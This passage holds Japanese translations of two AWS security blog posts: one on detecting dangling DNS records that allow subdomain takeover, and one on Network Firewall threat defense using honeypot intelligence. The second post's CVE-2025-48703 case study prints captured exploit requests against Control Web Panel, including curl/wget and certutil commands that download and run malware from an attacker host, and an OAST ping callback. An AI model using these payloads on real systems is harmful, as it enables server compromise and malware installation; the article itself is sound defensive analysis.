サイトにアクセスすると、そのサイトが表示されることになります。 図 1 は、静的ウェブサイトをホストするように設定された subdomain.example という名前の S3 バケット (グローバルに一意なバケット名) と、その S3 ウェブサイトエンドポイント subdomain.example.s3-website-us-east-1.amazonaws.com を示しています。 図 1: 静的ウェブサイトとして設定された S3 バケット 図 2 に示すように、Amazon Route 53 を使用して、Amazon のドメイン名に解決される CNAME レコードを作成します。これにより、ユーザーはわかりやすい名前でアクセスでき、URL に含まれる長い S3 ウェブサイト名を覚える必要がなくなります。 図 2: オリジンバケットを指す CNAME レコードが設定された DNS リゾルバー その後、お客様の AWS 管理者は S3 バケットからのコンテンツ配信を停止することにし、 図 3 に示すようにバケットを削除します。 図 3: CNAME レコードを削除せずにリソースを削除 S3 バケットは削除されたものの CNAME レコードが残っているため、DNS レコードはダングリング状態になります。脅威アクターはこの状況を突き止め、 図 4 に示すように、自身が管理する AWS アカウントで同じグローバル名 subdomain.example を持つ新しい S3 バケットを作成します。これにより脅威アクターは、この新しいバケットからコンテンツを配信できるようになり、その中には悪意のあるコンテンツが含まれる可能性もあります。ユーザーはこの切り替えに気付かず、見覚えのある URL から配信されているように見えるため、コンテンツを信頼して subdomain.example.com へのアクセスを続けます。 図 4: サブドメイン乗っ取りの発生 サブドメイン乗っ取りによって想定される影響 次のような影響が考えられます。 評判へのリスク: DNS レコードが指している脅威アクターのサイトから配信されるコンテンツはお客様が管理できないため、組織の評判が損なわれるリスクがあります。 フィッシングキャンペーンにさらされる可能性: 組織内のユーザーがサブドメインをブラウザにブックマークしている場合、リソースが既に利用できないことを知らないまま、マルウェアをホストしているサイトや、ユーザーの認証情報を詐取するフィッシングに使用されているサイトに、何の疑いもなくアクセスしてしまう可能性があります。 ブロック: サブドメインが悪意のあるアクティビティを理由にセキュリティベンダーからフラグ付けされると、業務に影響が及ぶ可能性があります。 経済的損失: サブドメイン乗っ取りのインシデントに対応する間、サービス提供が中断される可能性があり、経済的な影響が生じる場合があります。 プロアクティブな検出 AWS Config によるプロアクティブな検出 プロアクティブに検出するには、AWS Config を使用して Route 53 の CNAME レコードを継続的に監視し、ターゲットのリソースがアカウント内に存在することを確認します。 前提条件: この方法では、監視対象のリソースタイプ (S3 バケット、CloudFront ディストリビューション、Elastic Beanstalk 環境) に対して AWS Config レコーダーを有効にしておく必要があります。AWS Config で記録されていないリソースタイプは、インベントリチェックに表示されません。詳細については、「 コンソールを使用した AWS Config のセットアップ 」を参照してください。 DNS 解決チェックではなく AWS Config インベントリを使用する理由 一般的な方法は、CNAME が有効なエンドポイントに解決されるかどうかを確認することです。しかし、この方法には重大な欠陥があります。攻撃者が既にリソースを取得している場合、DNS 解決は成功します。ただし、その解決先はお客様のリソースではなく攻撃者のリソースです。応答しているリソースがお客様の所有物ではないことに気付く手がかりはありません。 AWS Config に記録された設定項目をクエリすれば、その DNS 名で単に 何か が応答するかどうかではなく、リソースが お客様の アカウントのインベントリに存在するかどうかを確認できます。この方法なら、乗っ取りが既に発生した後でも、ダングリング CNAME を正しく特定できます。 実装方法: アカウントレベルと組織レベルのスコープ リファレンス実装では、単一のアカウント内の AWS Config インベントリをクエリします。そのため、アカウント A の CNAME レコードが、同じ AWS 組織内のアカウント B に正当に存在するリソースを指している場合でも、ルールはそのレコードを NON_COMPLIANT としてフラグ付けします。 アカウント間でリソースを共有している組織では、AWS Config アグリゲータを使用するようにソリューションを変更できます。AWS Config アグリゲータは、組織内のすべてのアカウントを対象にリソースインベントリをクエリします。これは、IAM Access Analyzer がアカウントレベルと組織レベルの両方のスコープをサポートしているのと同様の考え方です。この方法を使用するには、組織レベルの AWS Config アグリゲータを事前に設定しておく必要があります。また、Lambda 関数の IAM ロールには config:SelectAggregateResourceConfig 権限が必要です。 AWS は、まずはシンプルなアカウントレベルのスコープから始め、環境にクロスアカウントのリソース共有が含まれる場合は組織レベルに拡張することをお勧めします。 基本的な考え方は、Route 53 ホストゾーンの CNAME レコードをクエリするカスタム AWS Config ルールを作成することです。このルールは、各 CNAME のターゲットを解析し、S3、CloudFront、Elastic Beanstalk などの既知の AWS リソースパターンを指しているかどうかを判断します。パターンに一致した CNAME ごとに、ルールはターゲットを AWS Config インベントリと照合し、リソースが実際にアカウント内に存在するかどうかを確認します。リソースが見つからない場合、ルールは CNAME レコードを NON_COMPLIANT としてマークし、レビューが必要なものとして提示します。 AWS Config ルールでは、次の既知の AWS リソースパターンを対象とします。 S3: *.s3.amazonaws.com, *.s3-website-<region>.amazonaws.com 訳注: S3 ウェブサイトエンドポイントは、リージョンによって s3-website.<region>.amazonaws.com (ドット形式) になる場合もあるため、検出パターンではこの形式も考慮してください。参照: Amazon S3 ユーザーガイドの「 ウェブサイトエンドポイント 」 CloudFront: *.cloudfront.net Elastic Beanstalk: *.elasticbeanstalk.com 注: 外部のサードパーティサービスを指す CNAME レコードは、参照先のリソースが AWS Config インベントリに含まれないため、この検出メカニズムの対象外です。 AWS Config ルールによる NON_COMPLIANT の検出結果は、AWS Security Hub に送信して一元的に可視化したり、SNS 通知をトリガーしてセキュリティチームにアラートを送ったりできます。 図 5: ダングリング DNS 検出ソリューション リファレンス実装: AWS は、この検出方法の完全な実装を、 オープンソースのソリューションとして公開 しています。このソリューションでデプロイされる Lambda 関数は、すべての Route 53 ホストゾーンから CNAME レコードを検出し、パターンマッチングを使用して S3、CloudFront、Elastic Beanstalk を指すターゲットを特定します。続いて、AWS Config インベントリをクエリし、各ターゲットリソースがアカウント内に引き続き存在するかどうかを確認します。ダングリングレコードを検出すると、Security Hub で重要度 HIGH の検出結果を生成します。オプションで SNS 通知を送信し、セキュリティチームにアラートを送ることもできます。また、継続的なコンプライアンス追跡のための CloudWatch メトリクスダッシュボードも含まれています。 デプロイ: # Clone the repository git clone https://github.com/aws-samples/sample-dangling-dns-detection cd sample-dangling-dns-detection # Build the Lambda deployment package ./scripts/package.sh # Upload to S3 aws s3 cp dist/dangling-dns-detection.zip s3://YOUR_BUCKET/ # Deploy the CloudFormation stack aws cloudformation deploy \ --template-file infrastructure/template.yaml \ --stack-name dangling-dns-detection \ --parameter-overrides \ LambdaCodeS3Bucket=YOUR_BUCKET \ EvaluationFrequency=TwentyFour_Hours \ --capabilities CAPABILITY_NAMED_IAM このスタックは、指定したスケジュール (デフォルト: 24 時間ごと) で実行される AWS Config カスタムルールを作成します。このルールは、すべての CNAME レコードを評価し、コンプライアンスステータスを報告します。 影響の緩和 サブドメイン乗っ取りを緩和するには、予防のための手順と、発生時の対応能力の両方が必要です。 予防: 標準作業手順 最も効果的な緩和策は、リソースのプロビジョニング解除に関する標準作業手順を定め、基盤となるリソースより先に DNS レコードを確実に削除することです。 DNS ゾーン内で、プロビジョニング解除を予定しているリソースの完全修飾ドメイン名 (FQDN) を指す CNAME レコードを削除します。 DNS の TTL が期限切れになるまで待ってから、リソースを削除します。DNS リゾルバーは TTL の期間中レコードをキャッシュします (例えば、TTL が 3,600 の場合、リゾルバーは最大 1 時間、古いレコードを返す可能性があります)。TTL が期限切れになる前にリソースを削除すると、キャッシュされた CNAME エントリによってトラフィックがまだそのリソースに向けられている間に、脅威アクターがリソース名を取得できてしまう可能性があります。 不要になったリソースをプロビジョニング解除します。 削除した CNAME レコードについて DNS チェックを実行し、その名前がリソースに解決されなくなったことを確認します。 重要な原則: 必ず最初に DNS レコードを削除し、TTL が期限切れになるのを待ってから、リソースを削除してください。この順序を守ることで、ダングリングレコードが悪用される隙をなくすことができます。 予防: S3 のアカウントリージョナル名前空間 前述のとおり、AWS は 2026 年 3 月に Amazon S3 汎用バケットのアカウントリージョナル名前空間 を導入しました。これは S3 固有の乗っ取り経路の緩和に向けた意義のある一歩ですが、運用上の重要な制限事項に注意する必要があります。 既存のバケットには適用されません。 グローバル名前空間で既に作成されたバケットは、アカウントリージョナル名前空間に移行できません。これらのバケット名はグローバルに一意のままであり、バケットを削除すると誰でもその名前を取得できます。 グローバル名前空間が引き続きデフォルトです。 コンソール、CLI、SDK のいずれで新しいバケットを作成する場合も、グローバル名前空間がデフォルトで選択されたままです。新しいオプションを知らないお客様は、今後もグローバルスコープのバケットを作成し続けることになります。 既存の IaC テンプレートは更新が必要です。 アカウントリージョナル名前空間の使用を明示的に選択していない既存の Infrastructure as Code (IaC) テンプレート (CloudFormation、CDK、Terraform) では、引き続きグローバル名前空間でバケットがプロビジョニングされます。CloudFormation の場合は、BucketNamespace プロパティを account-regional に設定します。その他の IaC ツールについては、それぞれのドキュメントで同等の設定を確認してください。組織は、テンプレートを監査し、オプトインするよう更新する必要があります。 こうした理由から、この記事で説明したダングリング DNS の検出方法は引き続き不可欠です。既存の S3 インフラストラクチャを持つ組織や、同等の名前空間のスコープ設定が用意されていない CloudFront および Elastic Beanstalk のリソースについては、特に重要です。 対応: 通知と修復 ダングリング DNS レコードが検出されると、「プロアクティブな検出」セクションで説明したリファレンスソリューションは、AWS Security Hub で重要度 HIGH の検出結果を自動的に作成し、AWS Config で CNAME レコードを NON_COMPLIANT として報告します。デプロイ時に SNS トピック ARN を指定すると、E メール、Slack、その他のチャネルを通じて通知を送信し、セキュリティチームや運用チームにアラートを送ることもできます。本番環境では、ヒューマンインザループのワークフローを検討してください。チームメンバーが通知を確認し、DNS レコードの削除を実行前に承認する仕組みです。これにより、一時的な問題の発生時に正当なレコードを誤って削除することを防げます。 リファレンスソリューションには、コンプライアンスステータスと評価メトリクスを経時的に追跡するための CloudWatch ダッシュボードも含まれています。これにより、チームはホストゾーン全体の DNS の健全性を継続的に可視化できます。 注: 完全に自動化された修復 (DNS レコードの自動削除) にはリスクが伴い、誤検知によって正当なサービスが中断される可能性があります。AWS は、まずは検出と通知から始め、検出精度と運用の成熟度に応じて自動化を検討することをお勧めします。 まとめ サブドメイン乗っ取りは、防止可能な設定ミスでありながら、組織に重大な影響を及ぼす可能性があります。多層防御のアプローチを取ることで、最も効果的に保護できます。 予防: 基盤となるリソースのプロビジョニングを解除する前に DNS レコードを削除する標準作業手順を導入します。 検出: AWS Config カスタムルールを使用して、アカウント内に存在しなくなったリソースを指す CNAME レコードをプロアクティブに特定します。 対応: SNS または Security Hub を通じて通知を設定し、ダングリングレコードが検出されたときにチームが迅速に対応できるようにします。 監視: CloudWatch ダッシュボードを使用して継続的な可視性を確保し、DNS の健全性とコンプライアンスステータスを追跡します。 重要なのは、DNS を適切に管理すること、つまり CNAME レコードが存在しないリソースを指している状況を把握することが、第一の防御策になるという点です。AWS Config による自動検出は、運用手順が機能しなかった場合のセーフティネットになります。さらに、問題を検出したときにすぐ実行できる対応用のプレイブックを用意しておけば、影響を抑え、平均復旧時間を短縮できます。 Matthew Gurr Matthew は、AWS Customer Incident Response Team (AWS CIRT) のアジアパシフィック地域における Senior Incident Response lead です。お客様がセキュリティイベントに事前に備えられるよう支援することに情熱を注いでいます。余暇には、サイクリング、音楽、読書を楽しんでいます。 Luis Pastor Luis は AWS の Senior Security Solutions Architect で、Infrastructure Security and Compliance Technical Field Communities を率いています。金融サービス、ヘルスケア、小売の各業界のエンタープライズのお客様に向けてセキュリティアーキテクチャを推進しており、クラウドセキュリティの変革と規制コンプライアンスフレームワークを専門としています。AWS に入社する前は、ハイブリッドクラウド環境でセキュリティソリューションを設計していました。 Geoff Sweet Geoff は 1990 年代後半からこの業界に携わっています。電気工学の分野でキャリアをスタートし、ドットコムブームの時期に IT 業界に入りました。これまでに、システムアーキテクト、ネットワークアーキテクト、そしてここ数年はセキュリティアーキテクトなど、さまざまな役割を担ってきました。Geoff はインフラストラクチャセキュリティを専門としています。 Ariam Michael Ariam は AWS の Solutions Architect です。Worldwide Public Sector のさまざまなお客様、特に SLG (州政府・地方自治体) および連邦政府の民生機関のお客様を支援してきました。セキュリティ、特にデータ保護に情熱を注いでおり、お客様による暗号化の実装やベストプラクティスの実践を支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 1 月 8 日に公開された AWS Blog “ Real-time malware defense: Leveraging AWS Network Firewall active threat defense ” を翻訳したものです。 サイバー脅威は、従来のセキュリティ防御では対応しきれない速さで進化しています。潜在的なセキュリティ上の問題を抱えるワークロードは、 90 秒以内 に脅威アクターに発見され、3 分以内には悪用の試みが始まります。脅威アクターは攻撃手法を急速に進化させており、新たなマルウェアの亜種、エクスプロイト手法、回避戦術が次々と生まれています。また、インフラストラクチャ (IP アドレス、ドメイン、URL) もローテーションします。ワークロードを効果的に防御するには、脅威データを迅速に保護対策へと落とし込む必要がありますが、インターネット規模で運用する場合、これは容易ではありません。この記事では、 AWS Network Firewall 向けの AWS アクティブ脅威防御 (active threat defense) を使用して、これらの潜在的な脅威を検出・ブロックし、クラウドワークロードを保護する方法を説明します。 アクティブ脅威防御は、 MadPot を通じて収集されたリアルタイムのインテリジェンスを活用して、ネットワーク脅威を検出し、ブロックします。MadPot は、攻撃パターンを能動的に監視するために Amazon が使用しているハニーポットセンサーのネットワークです。アクティブ脅威防御のルールにおいて、スピードは目指すべき目標ではなく、前提となる基本原則です。脅威アクターがマルウェアをホストするための新しいドメインを作成したり、新しいコマンドアンドコントロール (C2) サーバーをセットアップしたりすると、MadPot はその動きをとらえます。MadPot から新しいインテリジェンスを受け取ると、アクティブ脅威防御は 30 分以内にそのインテリジェンスを自動的に変換し、 Amazon GuardDuty による脅威検出と、 AWS Network Firewall による能動的な保護を実現します。 ただし、スピードだけでは十分ではありません。適切な脅威指標を、対応する緩和策に適用する必要もあります。アクティブ脅威防御は、攻撃をあらゆる段階で阻止します。偵察スキャンをブロックし、マルウェアのダウンロードを防ぎ、侵害されたシステムと、それを操る脅威アクターとの間の C2 通信を遮断します。これにより、一部のレイヤーをすり抜ける攻撃でも阻止できる、多層的な防御アプローチが実現します。 アクティブ脅威防御の仕組み MadPot のハニーポットは、クラウドサーバー、データベース、ウェブアプリケーションを模倣しており、脅威アクターが積極的に探す設定ミスやセキュリティ上の欠陥まで再現しています。脅威アクターがおとりに対して攻撃を開始すると、MadPot はハニーポットに対する攻撃ライフサイクル全体を捕捉します。そして、脅威アクターのインフラストラクチャをマッピングし、新たな攻撃手法をとらえ、これまでにない脅威パターンを特定します。さらに AWS は、MadPot での観測結果に基づいてインターネットをより広範囲にスキャンし、類似したフィンガープリントを持つインフラストラクチャも特定しています。 図 1: アクティブ脅威防御の統合の概要 図 1 は、この仕組みを示しています。脅威アクターが MadPot のハニーポットにマルウェアのペイロードを配信すると、AWS は隔離された環境で悪意のあるコードを実行し、マルウェアの動作 (接続先のドメイン、ドロップするファイル、悪用するプロトコル) から侵害の痕跡 (indicators of compromise) を抽出します。この脅威インテリジェンスは、アクティブ脅威防御の自動保護に活用されます。アクティブ脅威防御は、指標を検証してファイアウォールルールに変換し、パフォーマンスへの影響をテストしたうえで、Network Firewall にグローバルにデプロイします。これらすべてを 30 分以内に完了します。また、脅威は常に進化するため、アクティブ脅威防御は脅威アクターのインフラストラクチャの変化を監視し、脅威アクターがドメインをローテーションしたり、IP アドレスを変更したり、戦術を変えたりするたびに、保護ルールを自動的に更新します。このように、アクティブ脅威防御は脅威の進化に合わせて自動的に適応します。 図 2: スイスチーズモデル アクティブ脅威防御は、防御における スイスチーズモデル (図 2 を参照) を採用しています。これは、単独で完璧なセキュリティコントロールは存在しないものの、不完全なレイヤーを複数重ねることで堅牢な保護を実現できるという考え方です。どの防御レイヤーにも穴があります。脅威アクターは IP への直接接続によって DNS フィルタリングを回避でき、暗号化されたトラフィックは HTTP インスペクションをすり抜け、ドメインフロンティングや IP のみの接続は TLS の SNI (Server Name Indication) 分析を回避します。そこでアクティブ脅威防御は、複数のインスペクションポイントにわたって脅威指標を適用します。脅威アクターが 1 つのレイヤーを回避しても、他のレイヤーで検出してブロックできます。MadPot が悪意のあるドメインを特定すると、Network Firewall はそのドメインをブロックするだけでなく、DNS クエリの拒否、HTTP Host ヘッダーのブロック、SNI を使用した TLS 接続の防止、解決された IP アドレスへの直接接続のドロップを行うルールも作成します。スイスチーズのスライスを重ねると穴が一直線に並ぶことはほとんどないのと同様に、アクティブ脅威防御は、脅威アクターが標的に至る完全な経路を見つける可能性を低減します。 アクティブ脅威防御による攻撃キルチェーンの阻止 ここでは、アクティブ脅威防御がこのスイスチーズアプローチによって、攻撃ライフサイクル全体にわたり脅威アクターをどのように阻止するかを見ていきましょう。図 3 は、脅威アクターが標的を侵害し、悪意のあるアクティビティのために永続的な制御を確立する際の攻撃手法の例を示しています (詳細は以降のセクションで説明します)。現代の攻撃では、あらゆる段階でネットワーク通信が必要になります。アクティブ脅威防御は、まさにその通信に対して多層的な防御を構築します。この攻撃フローは、各段階で悪意のある通信を傍受してブロックできる、ネットワークレイヤーのセキュリティコントロールの重要性を示しています。こうしたコントロールがあれば、初期の脆弱性が存在する場合でも、侵害の成立を防ぐことができます。 図 3: OAST 手法を使用した攻撃シナリオのフローの例 ステップ 0: インフラストラクチャの準備 攻撃を開始する前に、脅威アクターは運用インフラストラクチャをプロビジョニングします。例えば、 OAST (out-of-band application security testing) のコールバックエンドポイントのセットアップがこれに当たります。OAST は、脅威アクターが別の通信チャネルを通じてエクスプロイトの成功を確認するために使用する偵察手法です。また、被害者に感染させるペイロードをホストするマルウェア配信サーバーや、侵害したシステムを管理するための C2 サーバーもプロビジョニングします。脅威アクターがおとりシステムに対してこのインフラストラクチャを使用すると、MadPot のハニーポットがそれを検出し、その指標をアクティブ脅威防御の保護ルールに取り込みます。 ステップ 1: 標的の特定 脅威アクターは、自動化されたインターネットスキャンや、アンダーグラウンドマーケットでの標的リストの購入によって、潜在的な被害者のリストを作成します。探しているのは、脆弱なソフトウェアを実行しているワークロード、公開されたサービス、よくある設定ミスなどです。MadPot のハニーポットシステムでは、潜在的な脅威アクターとのこうしたやり取りが毎日 7 億 5,000 万件以上発生しています。新しい MadPot センサーは 90 秒以内に発見されます。こうした可視性により、通常であれば見過ごされてしまうパターンが明らかになります。アクティブ脅威防御は偵察そのものを阻止するわけではありませんが、MadPot の可視性を活用して後続の段階を阻止します。 ステップ 2: 脆弱性の確認 脅威アクターは、エクスプロイトのペイロード内に OAST コールバックの仕組みを埋め込み、標的ワークロードの脆弱性を確認しようとします。例えば、 http://malicious-callback[.]com/verify?target=victim のような悪意のある URL を、ウェブフォーム、HTTP ヘッダー、API パラメータ、その他の入力フィールドに挿入します。正規のセキュリティスキャナーでも使われている OAST ドメイン名を使用する脅威アクターもいれば、検出を回避するために独自に用意したドメインを使用する脅威アクターもいます。次の表は、過去 90 日間に脅威アクターが OAST リンクを使用して MadPot に対して悪用を試みた脆弱性の例 18 件を示しています。 CVE ID 脆弱性名 CVE-2017-10271 Oracle WebLogic Server のデシリアライゼーションによるリモートコード実行 (RCE) CVE-2017-11610 Supervisor XML-RPC の認証バイパス CVE-2020-14882 Oracle WebLogic Server コンソールの RCE CVE-2021-33690 SAP NetWeaver のサーバーサイドリクエストフォージェリ (SSRF) CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22947 VMware Spring Cloud gateway の RCE CVE-2022-22963 VMware Tanzu Spring Cloud function の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2023-22527 Atlassian Confluence Data Center および Server のテンプレートインジェクションの脆弱性 CVE-2023-43208 NextGen Healthcare Mirth connect の RCE CVE-2023-46805 Ivanti Connect Secure および Policy Secure の認証バイパスの脆弱性 CVE-2024-13160 Ivanti Endpoint Manager (EPM) の絶対パストラバーサルの脆弱性 CVE-2024-21893 Ivanti Connect Secure、Policy Secure、Neurons の SSRF の脆弱性 CVE-2024-36401 OSGeo GeoServer GeoTools の eval インジェクションの脆弱性 CVE-2024-37032 Ollama API サーバーのパストラバーサル CVE-2024-51568 CyberPanel の RCE CVE-2024-8883 Keycloak のリダイレクト URI 検証の脆弱性 CVE-2025-34028 Commvault Command Center のパストラバーサルの脆弱性 ステップ 3: OAST コールバック 脆弱なワークロードがこれらの悪意のあるペイロードを処理すると、脅威アクターの OAST 監視サーバーに対してコールバック接続を開始しようとします。通常であれば、脅威アクターはこのコールバックシグナルによってエクスプロイトの成功を確認でき、さらに侵害されたワークロード、脆弱性の種類、攻撃を進める経路に関するインテリジェンスも得られます。アクティブ脅威防御は、この時点で攻撃チェーンを断ち切ります。MadPot は悪意のあるドメインまたは IP アドレスを特定し、アクティブ脅威防御の拒否リストに追加します。脆弱な標的が脅威アクターの OAST エンドポイントへのネットワーク呼び出しを実行しようとすると、アクティブ脅威防御を有効にした Network Firewall がアウトバウンド接続をブロックします。エクスプロイト自体は成功するかもしれませんが、成功の確認が得られなければ、脅威アクターはどの標的に攻撃を進めるべきか判断できず、攻撃は停滞します。 ステップ 4: マルウェア配信の準備 脆弱な標的を特定した脅威アクターは、その脆弱性を悪用して、永続的なアクセスを確立するためのマルウェアを配信します。次の表は、過去 90 日間に脅威アクターがマルウェアを配信するために MadPot に対して悪用を試みた 20 件の脆弱性を示しています。 CVE ID 脆弱性名 CVE-2017-12149 Jboss Application Server の RCE CVE-2020-7961 Liferay Portal の RCE CVE-2021-26084 Confluence Server および Data Center の RCE CVE-2021-41773 Apache HTTP サーバーのパストラバーサルおよび RCE CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22954 VMware Workspace ONE access および identity manager の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2022-44877 Control Web Panel または CentOS Web Panel の RCE CVE-2023-22527 Confluence Data Center および Server の RCE CVE-2023-43208 NextGen Healthcare Mirth Connect の RCE CVE-2023-46604 Java OpenWire プロトコルマーシャラーの RCE CVE-2024-23692 Rejetto HTTP ファイルサーバーの RCE CVE-2024-24919 Check Point セキュリティゲートウェイの RCE CVE-2024-36401 GeoServer の RCE CVE-2024-51567 CyberPanel の RCE CVE-2025-20281 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-20337 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-24016 Wazuh の RCE CVE-2025-47812 Wing FTP の RCE CVE-2025-48703 CWP の RCE ステップ 5: マルウェアのダウンロード 侵害された標的は、脅威アクターの配信サーバーからマルウェアのペイロードをダウンロードしようとしますが、ここでもアクティブ脅威防御が介入します。マルウェアをホストするインフラストラクチャは、ドメイン、URL、IP アドレスのいずれであっても、既に MadPot によって特定され、Network Firewall によってブロックされています。マルウェアが TLS エンドポイント経由で配信される場合、アクティブ脅威防御は、TLS ハンドシェイク中に SNI を検査するルールによって、トラフィックを復号することなく悪意のあるドメインを特定してブロックします。マルウェアが TLS エンドポイント以外から配信される場合や、お客様が Network Firewall の TLS インスペクション機能 を有効にしている場合は、アクティブ脅威防御のルールが URL 全体と HTTP ヘッダーを検査し、コンテンツベースのルールを適用したうえで、正当なトラフィックを再暗号化して転送します。マルウェアの配信と実行が成功しなければ、脅威アクターは制御を確立できません。 ステップ 6: C2 接続 仮に何らかの方法でマルウェアが配信された場合、マルウェアは脅威アクターの C2 サーバーに接続して指示を受け取ろうとします。この時点で、アクティブ脅威防御の別のレイヤーが作動します。アクティブ脅威防御は、Network Firewall において複数のプロトコルレイヤーにまたがる仕組みを実装しており、C2 通信が継続的な悪意のある活動につながる前に特定してブロックします。DNS レイヤーでは、Network Firewall は既知の悪意のある C2 ドメインに対する名前解決リクエストをブロックし、マルウェアが接続先を見つけられないようにします。TCP レイヤーでは、C2 の IP アドレスとポートへの直接接続をブロックします。TLS レイヤーでは、ステップ 5 で説明したように、SNI インスペクションとフィンガープリント手法 (有効にしている場合は完全な復号) を使用して、暗号化された C2 トラフィックを特定します。Network Firewall は既知の悪意のある C2 インフラストラクチャへのアウトバウンド接続をブロックし、脅威アクターが感染したワークロードを制御できないようにします。侵害されたワークロード上にマルウェアが存在していても、隔離されて脅威アクターと通信できないため、実質的に無力化されます。また、C2 への接続の試みに対しては Amazon GuardDuty で脅威の検出結果が作成されるため、インシデント対応のワークフローを開始できます。次の表は、過去 90 日間に MadPot と AWS によるインターネット全体のスキャンで観測された C2 フレームワークの例です。 C2 フレームワーク Adaptix Metasploit AsyncRAT Mirai Brute Ratel Mythic Cobalt Strike Platypus Covenant Quasar Deimos Sliver Empire SparkRAT Havoc XorDDoS ステップ 7: 攻撃目的の阻止 C2 への接続ができなければ、脅威アクターはデータを盗むことも、認証情報を外部に持ち出すこともできません。アクティブ脅威防御の多層的なアプローチでは、脅威アクターはすべてのステップで成功しなければならない一方、お客様はいずれか 1 つの段階をブロックするだけでアクティビティを阻止できます。この多層防御 (defense-in-depth) のアプローチにより、一部の防御レイヤーに脆弱性がある場合でもリスクを低減できます。アクティブ脅威防御のアクションは、 Network Firewall のアラートログ で追跡できます。 実際の攻撃シナリオ – CVE-2025-48703 を悪用する攻撃キャンペーンの阻止 2025 年 10 月、AWS の MadPot ハニーポットは、Control Web Panel (CWP) を標的とした攻撃キャンペーンを検出し始めました。CWP は、ホスティングプロバイダーやシステム管理者が使用するサーバー管理プラットフォームです。脅威アクターは、CWP のリモートコード実行の脆弱性である CVE-2025-48703 を悪用して、 Mythic C2 フレームワーク をデプロイしようとしていました。Mythic は、本来は正当なレッドチーム活動のために設計されたオープンソースの C2 プラットフォームですが、脅威アクターが悪意のあるキャンペーンに利用することもあります。エクスプロイトの試みは IP アドレス 61.244.94[.]126 から発信されており、この IP アドレスには VPN 出口ノードと一致する特徴が見られました。 脅威アクターは、脆弱な標的を確認するために、CWP のファイルマネージャーの脆弱性を悪用してオペレーティングシステムのコマンドを実行しようとしました。MadPot のハニーポットは、次のような whoami コマンドを使用したエクスプロイトの試みを受信しました。 POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 455 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/nginx ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" whoami /priv ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- このキャンペーンでは脆弱性の確認に OAST コールバックは使われていませんでしたが、MadPot では、次の例のように OAST コールバックを使用した同様の CVE-2025-48703 のエクスプロイトの試みも観測されています。 POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:8085 user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 content-length: 503 content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 accept-encoding: gzip connection: close --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="fileName" .bashrc --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="currentPath" /home/debian --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="recursive" --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="t_total" ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5-- 脆弱なシステムを特定すると、攻撃は直ちにペイロードの配信へと移りました。MadPot は、Linux と Windows の両方のワークロードを標的とした感染の試みを捕捉しました。Linux の標的に対しては、脅威アクターは curl と wget を使用してマルウェアをダウンロードしようとしました。 POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:5704 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 539 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/cwp ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" (curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- Windows システムに対しては、Microsoft の certutil.exe ユーティリティを使用してマルウェアをダウンロードしようとしました。 POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 557 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/panel ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- MadPot のハニーポットは、こうしたエクスプロイトの試みを観測すると、脆弱なサーバーと同じように悪意のあるペイロードをダウンロードします。MadPot はその観測結果を基に、複数の分析レイヤーで脅威指標を抽出します。 レイヤー 1 – MadPot は、マルウェアをホストしているステージング URL と、その背後にある IP アドレスを特定しました。 hxxp://vc2.b1ack[.]cat:28571/slt (Linux スクリプト, SHA256: bdf17b3047a9c9de24483cce55279e62a268c01c2aba6ddadee42518a9ccddfc) hxxp://196.251.116[.]232:28571/slt 